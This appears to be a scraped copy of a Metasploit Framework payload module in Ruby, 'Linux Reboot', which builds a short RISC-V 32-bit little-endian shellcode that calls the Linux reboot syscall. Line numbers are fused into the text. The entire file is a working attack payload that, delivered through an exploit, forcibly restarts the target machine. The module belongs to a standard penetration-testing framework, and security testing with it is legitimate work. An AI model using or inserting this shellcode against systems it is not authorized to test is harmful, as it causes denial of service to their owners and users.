Path: blob/master/modules/payloads/singles/linux/riscv32le/reboot.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 3278include Msf::Payload::Single910def initialize(info = {})11super(12merge_info(13info,14'Name' => 'Linux Reboot',15'Description' => %q{16A very small shellcode for rebooting the system using17the reboot syscall. This payload is sometimes helpful18for testing purposes.19},20'Author' => 'bcoles',21'License' => MSF_LICENSE,22'Platform' => 'linux',23'Arch' => ARCH_RISCV32LE24)25)26end2728def generate(_opts = {})29shellcode =30[0xfee1e537].pack('V*') + # lui a0,0xfee1e31[0xead50513].pack('V*') + # addi a0,a0,-33932[0x281225b7].pack('V*') + # lui a1,0x281233[0x96958593].pack('V*') + # addi a1,a1,-168734[0x01234637].pack('V*') + # lui a2,0x123435[0x56760613].pack('V*') + # addi a2,a2,138336[0x08e00893].pack('V*') + # li a7,14237[0x00000073].pack('V*') # ecall3839super.to_s + shellcode40end41end424344